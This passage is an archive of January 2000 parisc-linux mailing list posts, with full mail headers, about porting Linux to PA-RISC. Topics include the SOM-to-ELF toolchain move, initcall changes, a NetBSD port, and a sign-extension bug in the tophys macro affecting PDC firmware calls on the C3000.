called in unsigned long create_som_tables(). Executing a TOC after the
hang consitently gives IIA space/offset = 0x00000000 0x00046234.

KMB
--
+============================================================+
|       Kirk Bresniker    	(916) 748-2393		     |
|       8000 Foothills Blvd                                  |
|       Roseville, CA 95747-5649                             |
|       kirkb@rose.hp.com                                    |


From - Thu Nov 08 21:11:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] initcall and setup
Date: Fri, 14 Jan 2000 17:13:44 -0800
Lines: 34
Approved: news@gmane.org
Message-ID: <200001150113.RAA16646@milano.cup.hp.com>
References: <20000114174831.W11300@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618733 29721 80.91.229.3 (22 Nov 2014 01:12:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Jan 14 19:12:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA23489
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Jan 2000 19:12:57 -0700
Original-Received: (qmail 7996 invoked by uid 15267); 15 Jan 2000 01:13:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7989 invoked from network); 15 Jan 2000 01:13:32 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2000 01:13:32 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (Postfix) with ESMTP id 93BB4C34
	for <parisc-linux@thepuffingroup.com>; Fri, 14 Jan 2000 20:13:31 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id RAA16646 for <parisc-linux@thepuffingroup.com>; Fri, 14 Jan 2000 17:13:45 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 14 Jan 2000 17:48:31 PST."
             <20000114174831.W11300@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6710

Matthew Wilcox wrote:
> 
> One of the things which has changed during 2.3 development is
> initialisation.
...
> Unfortunately, we can't take advantage of this, because we don't yet have
> ELF tools.  This is implemented through an ELF section called __initcall
> which contains the address of the function to call.  We could try to hack
> something together with SOM, but I'd really rather not put the work in
> that will just be dumped later.

Just a clarification: The kernel will use ELF once the tool chain is
in place. The kernel is SOM now only because of our dependency
on HP-UX ld. Any forcasts for when we can switch to ELF?


...
> and why if you diff our kernel against Linus', you will find that we have
> reinserted some of the explicit calls to the setup routines that have
> been eliminated from the mainline tree.  It also explains why sometimes
> a driver may not be called even though you compiled it in.

Any general rules on where to reinsert stuff? (eg tulip_probe)
In the same place it's in the linux-2.2?
Is someone making a note to make sure the reinserted code gets
dropped when we migrate to either the next 2.3 (or possibly 2.4) release?

thanks,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] initcall and setup
Date: Fri, 14 Jan 2000 21:41:14 -0500
Organization: The Puffin Group
Lines: 18
Approved: news@gmane.org
Message-ID: <387FDE4A.FE22FBBD@thepuffingroup.com>
References: <200001150113.RAA16646@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618733 29725 80.91.229.3 (22 Nov 2014 01:12:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: adevries@thepuffingroup.com  Fri Jan 14 20:42:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA24131
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Jan 2000 20:42:42 -0700
Original-Received: (qmail 6376 invoked by uid 15267); 15 Jan 2000 02:43:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6359 invoked from network); 15 Jan 2000 02:43:17 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2000 02:43:17 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id VAA07313;
	Fri, 14 Jan 2000 21:41:14 -0500
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6711

Grant Grundler wrote:
> Just a clarification: The kernel will use ELF once the tool chain is
> in place. The kernel is SOM now only because of our dependency
> on HP-UX ld. Any forcasts for when we can switch to ELF?

Yup.  The 64 bit parisc GCC package will be released shortly.  We've
been busy packaging it up in the last couple of days.

After that, we'll have to start looking at making a 32 bit ELF
toolchain.

- Alex

-- 
Alex deVries
Director of Professional Services
The Puffins at Linuxcare


From - Thu Nov 08 21:11:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] wq bug forcing oops
Date: Sun, 16 Jan 2000 23:34:03 -0500
Lines: 5
Approved: news@gmane.org
Message-ID: <20000116233403.H11300@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618733 29731 80.91.229.3 (22 Nov 2014 01:12:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Sun Jan 16 22:33:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA08210
	for <parisc-linux@puffin.external.hp.com>; Sun, 16 Jan 2000 22:33:24 -0700
Original-Received: (qmail 29158 invoked by uid 15267); 17 Jan 2000 04:34:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29151 invoked from network); 17 Jan 2000 04:34:04 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2000 04:34:04 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id XAA01905
	for parisc-linux@thepuffingroup.com; Sun, 16 Jan 2000 23:34:03 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6712


if you've had this error message on recent kernels, it actually meant
`null pointer exception'.  the current cvs tree should report these
correctly.


From - Thu Nov 08 21:11:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] some competition
Date: Mon, 17 Jan 2000 00:21:28 -0500
Lines: 75
Approved: news@gmane.org
Message-ID: <20000117002128.I11300@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618734 29737 80.91.229.3 (22 Nov 2014 01:12:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Sun Jan 16 23:20:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA08534
	for <parisc-linux@puffin.external.hp.com>; Sun, 16 Jan 2000 23:20:50 -0700
Original-Received: (qmail 10147 invoked by uid 15267); 17 Jan 2000 05:21:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10137 invoked from network); 17 Jan 2000 05:21:29 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2000 05:21:29 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id AAA02002
	for parisc-linux@thepuffingroup.com; Mon, 17 Jan 2000 00:21:28 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6713


I just found that the NetBSD Project have started a port to the parisc
processor:

http://www.netbsd.org/Ports/hp700/

and they have a link to:

http://parisc.workstations.org/

which mentions us :-)  More usefully, if you select the `MkLinux' option,
they have a link to that source code.

X-From-Line: hppa-linux@thepuffingroup.com  Fri Mar 12 07:50:45 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id HAA00795
	for <pcj@merlin.pcj.primenet.com>; Fri, 12 Mar 1999 07:50:44 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Fri, 12 Mar 1999 07:50:44 PST
Received: from smtp01.primenet.com (daemon@smtp01.primenet.com [206.165.6.131])
	by primenet.com (8.8.8/8.8.5) with ESMTP id FAA10923
	for <pcj@smtp-local.primenet.com>; Fri, 12 Mar 1999 05:00:38 -0700 (MST)
Received: (from daemon@localhost)
	by smtp01.primenet.com (8.8.8/8.8.8) id FAA29784
	for <pcj@primenet.com>; Fri, 12 Mar 1999 05:00:36 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp01.primenet.com, id smtpd029774; Fri Mar 12 05:00:32 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id HAA19635;
	Fri, 12 Mar 1999 07:00:16 -0500
Resent-Date: Fri, 12 Mar 1999 07:00:16 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-Id: <199903120947.KAA28823@be3334.schering.de>
From: "Strelow, Ulrich" <Ulrich.Strelow@Schering.DE>
To: ",hppa-linux@thepuffingroup.com " <hppa-linux@thepuffingroup.com>
Subject: Betr.: [hppa-linux] Boot #4 and source on ftp site
Date: Fri, 12 Mar 1999 10:45:00 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain
Resent-Message-ID: <"46Ezl1.0.io4.G7Gws"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/179
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 76b1c42b27d971225f2d59558b0e9448
Lines: 20
Xref: merlin.pcj.primenet.com palinux:150

     Hi all,
     
     boot test #4 is working again on my 715/33 booted via rbootd. I can

     see the spinning cursor. No characters dropped or overwritten.
     
     I can't wait to see vmlinux 0.1 boot...
     Ulrich
     ---------------------------------------------
     Ulrich Strelow
     <ulrich.strelow@schering.de or
     ulrich_strelow@csi.com>
     Berlin, Germany
     
     

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eric@cirr.com (Eric Schnoebelen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some competition
Date: Mon, 17 Jan 2000 08:52:01 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <200001171452.IAA22641@egsner.cirr.com>
References: <20000117002128.I11300@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618734 29739 80.91.229.3 (22 Nov 2014 01:12:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <willy@thepuffingroup.com>
Original-X-From: eric@cirr.com  Mon Jan 17 08:51:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA11548
	for <parisc-linux@puffin.external.hp.com>; Mon, 17 Jan 2000 08:51:23 -0700
Original-Received: (qmail 8404 invoked by uid 15267); 17 Jan 2000 14:52:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8386 invoked from network); 17 Jan 2000 14:52:02 -0000
Original-Received: from ns-a.cirr.com (HELO egsner.cirr.com) (root@192.67.63.1)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2000 14:52:02 -0000
Original-Received: from cirr.com (IDENT:eric@egsner.cirr.com [192.67.63.1]) by egsner.cirr.com (8.9.0/8.9.1)
         with ESMTP id IAA22641; Mon, 17 Jan 2000 08:52:01 -0600 (CST)
Original-cc: port-hp700@netbsd.org
In-reply-to: Your message of "Mon, 17 Jan 2000 00:21:28 EST."
             <20000117002128.I11300@thepuffingroup.com> 
Original-Sender: eric@cirr.com
Xref: news.gmane.org gmane.linux.ports.parisc:6714


Matthew Wilcox writes:
- I just found that the NetBSD Project have started a port to the parisc
- processor:
- 
- http://www.netbsd.org/Ports/hp700/

	Actualy, its more of resuming a port that had been
dropped before being completed.

- and they have a link to:
- 
- http://parisc.workstations.org/
- 
- which mentions us :-)  More usefully, if you select the `MkLinux' option,
- they have a link to that source code.

	Actually, the mkLinux/hppa sources are also in the
mklinux.org source tree.  I updated the mach/hppa portion of it
myself. (I haven't done anything on merging the Linux servers
yet..)

--
Eric Schnoebelen		eric@cirr.com		http://www.cirr.com
	Real Programmers don't write specs.  Users should be grateful for
	    whatever they get.  They are lucky to get any program at all.


From - Thu Nov 08 21:11:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PDC calls on the C3000
Date: Mon, 17 Jan 2000 10:57:34 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <20000117105734.L11300@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618734 29740 80.91.229.3 (22 Nov 2014 01:12:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Mon Jan 17 09:56:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA11930
	for <parisc-linux@puffin.external.hp.com>; Mon, 17 Jan 2000 09:56:56 -0700
Original-Received: (qmail 17023 invoked by uid 15267); 17 Jan 2000 15:57:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17012 invoked from network); 17 Jan 2000 15:57:36 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2000 15:57:36 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id KAA03194
	for parisc-linux@thepuffingroup.com; Mon, 17 Jan 2000 10:57:34 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6715


I've been asked to explain what was going wrong with the PDC calls on
the C3000.  Here's what was going on:

        ldil            L%real_stack, 29        ; our stack pointer
        ldo             R%real_stack(29),29
        tophys          29

tophys is a macro which was doing:

	depi 0,1,2,gr

So the CPU was helpfully sign-extending the address of real_stack and
before the tophys macro was called we had the value
	0xffff'ffff'c0xx'xxxx
in r29.  The tophys macro was clearing the `c' to leave us with
	0xffff'ffff'00xx'xxxx
which would work if PDC recognised we were being called from narrow mode
(presumably PDC does on C360 hardware, or we wouldn't've had it working
on that machine).

I changed the tophys macro to:

	zdep gr, 31, 30, gr

which takes the rightmost 30 bits from the register, zeroes the whole
register and then stores them back into it:
	0xffff'ffff'c0xx'xxxx
becomes
	0x0000'0000'00xx'xxxx
and now PDC is happy, and so am I.


From - Thu Nov 08 21:11:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "substr 'Manager Dan',-3;" <dan@moore.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] getting started
Date: Mon, 17 Jan 2000 17:28:07 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <38835127.4B7C05EC@moore.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618735 29743 80.91.229.3 (22 Nov 2014 01:12:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:15 +0000 (UTC)
To: PA-RISC/Linux List <parisc-linux@thepuffingroup.com>
Original-X-From: dan@moore.cx  Mon Jan 17 11:30:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA12668
	for <parisc-linux@puffin.external.hp.com>; Mon, 17 Jan 2000 11:30:32 -0700
Original-Received: (qmail 18142 invoked by uid 15267); 17 Jan 2000 17:31:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18129 invoked from network); 17 Jan 2000 17:31:12 -0000
Original-Received: from andromeda.68k.org (root@206.246.132.18)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2000 17:31:12 -0000
Original-Received: from moore.cx (mooredc2.adsl.rose-hulman.edu [137.112.230.26])
	by andromeda.68k.org (8.9.0/8.9.0) with ESMTP id MAA04008
	for <parisc-linux@thepuffingroup.com>; Mon, 17 Jan 2000 12:30:46 -0500
Original-Sender: pergamon@andromeda.68k.org
X-Mailer: Mozilla 4.6 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6716

greetings,

is there anything that needs to be done in this effort that could be
done by a newcomer?  i picked up a 730 a few weeks ago, and i'm looking
for a good place to start helping with this port...

thanks. 

-- 
Dan Moore
 - - - -
WilliamsRandall/MC Programmer++  -  RHIT/CS 2000  -  ShelbyNet UNIX Dude
              http://www.68k.org/~pergamon - dan@moore.cx


From - Thu Nov 08 21:11:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PDC calls on the C3000
Date: Mon, 17 Jan 2000 10:02:59 -0800
Lines: 47
Approved: news@gmane.org
Message-ID: <200001171802.KAA18011@milano.cup.hp.com>
References: <20000117105734.L11300@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618735 29745 80.91.229.3 (22 Nov 2014 01:12:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <willy@thepuffingroup.com>
Original-X-From: grundler@cup.hp.com  Mon Jan 17 12:02:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA13246
	for <parisc-linux@puffin.external.hp.com>; Mon, 17 Jan 2000 12:02:05 -0700
Original-Received: (qmail 10444 invoked by uid 15267); 17 Jan 2000 18:02:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10430 invoked from network); 17 Jan 2000 18:02:42 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2000 18:02:42 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 24C82F893; Mon, 17 Jan 2000 13:02:41 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id KAA18011; Mon, 17 Jan 2000 10:02:59 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 17 Jan 2000 10:57:34 PST."
             <20000117105734.L11300@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6717


Matthew,
The hair on the back of my neck stood up when I read the second part...

Matthew Wilcox wrote:
...
> So the CPU was helpfully sign-extending the address of real_stack
...
> The tophys macro was clearing the `c' to leave us with
...
> which would work if PDC recognised we were being called from narrow mode
> (presumably PDC does on C360 hardware, or we wouldn't've had it working
> on that machine).

I'm thinking the inconsistency is possibly a firmware "bug" where either
the C360 or C3000 isn't behaving "right". Can anyone comment on what
the expected behavior is?


> I changed the tophys macro to:
> 
> 	zdep gr, 31, 30, gr
> 
> which takes the rightmost 30 bits from the register, zeroes the whole
> register and then stores them back into it:
> 	0xffff'ffff'c0xx'xxxx
> becomes
> 	0x0000'0000'00xx'xxxx
> and now PDC is happy, and so am I.

This is where the hair on the back of my neck went up.
The problem is on L-class and N-class machine we have
I/O and memory addresses which are > 4GB. And PDC will really
be confused on those platforms.

I wonder if the right answer is for the ldil instruction to NOT sign extend.
I don't know how to acheive that and I don't see us getting to L-class
without addressing that issue. I'm also hoping fixing this behavior will
make the firmware behavior differences (c360 vs C3000) irrelevant.

thanks,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PDC calls on the C3000
Date: Mon, 17 Jan 2000 13:34:21 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20000117133421.O11300@thepuffingroup.com>
References: <20000117105734.L11300@thepuffingroup.com> <200001171802.KAA18011@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618735 29746 80.91.229.3 (22 Nov 2014 01:12:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@thepuffingroup.com  Mon Jan 17 12:37:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA13676
	for <parisc-linux@puffin.external.hp.com>; Mon, 17 Jan 2000 12:37:03 -0700
Original-Received: (qmail 6467 invoked by uid 15267); 17 Jan 2000 18:37:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6456 invoked from network); 17 Jan 2000 18:37:43 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2000 18:37:43 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id NAA03523;
	Mon, 17 Jan 2000 13:34:21 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200001171802.KAA18011@milano.cup.hp.com>; from Grant Grundler on Mon, Jan 17, 2000 at 10:02:59AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6718

On Mon, Jan 17, 2000 at 10:02:59AM -0800, Grant Grundler wrote:
> I'm thinking the inconsistency is possibly a firmware "bug" where either
> the C360 or C3000 isn't behaving "right". Can anyone comment on what
> the expected behavior is?

I would class it as a bug, but I just needed a workaround for the
next month or two :-)  BTW, the same thing happens on mkp's J5000.

> > 	0xffff'ffff'c0xx'xxxx
> > becomes
> > 	0x0000'0000'00xx'xxxx
> > and now PDC is happy, and so am I.
> 
> This is where the hair on the back of my neck went up.
> The problem is on L-class and N-class machine we have
> I/O and memory addresses which are > 4GB. And PDC will really
> be confused on those platforms.

That won't be a problem.  The tophys macro is used to convert kernel
virtual addresses into physical addresses.  The kernel isn't going to
take more than 1GB of ram for its data segment :-)

We're not applying this macro to any other data type, don't worry.


From - Thu Nov 08 21:11:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PDC calls on the C3000
Date: Mon, 17 Jan 2000 13:48:49 -0500
Organization: The Puffin Group
Lines: 28
Approved: news@gmane.org
Message-ID: <38836411.3A85639D@thepuffingroup.com>
References: <200001171802.KAA18011@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618735 29751 80.91.229.3 (22 Nov 2014 01:12:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:15 +0000 (UTC)
Cc: Matthew Wilcox <willy@thepuffingroup.com>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: adevries@thepuffingroup.com  Mon Jan 17 12:47:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA13876
	for <parisc-linux@puffin.external.hp.com>; Mon, 17 Jan 2000 12:47:00 -0700
Original-Received: (qmail 14106 invoked by uid 15267); 17 Jan 2000 18:47:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14089 invoked from network); 17 Jan 2000 18:47:37 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2000 18:47:37 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id NAA01936;
	Mon, 17 Jan 2000 13:48:49 -0500
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6719

Grant Grundler wrote:
> > which takes the rightmost 30 bits from the register, zeroes the whole
> > register and then stores them back into it:
> >       0xffff'ffff'c0xx'xxxx
> > becomes
> >       0x0000'0000'00xx'xxxx
> > and now PDC is happy, and so am I.
> 
> This is where the hair on the back of my neck went up.
> The problem is on L-class and N-class machine we have
> I/O and memory addresses which are > 4GB. And PDC will really
> be confused on those platforms.

Right, and so we need access to wide mode registers for those PAT PDC
calls.  So I don't think we can do any of this until we have access to a
64 bit assembler.

In any case, this is not a priority right now.  I think we should only
be concerned with L class starting Feb. 7.  And N class isn't even on my
radar yet.

- Alex

-- 
Alex deVries
Director of Professional Services
The Puffins at Linuxcare


From - Thu Nov 08 21:11:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
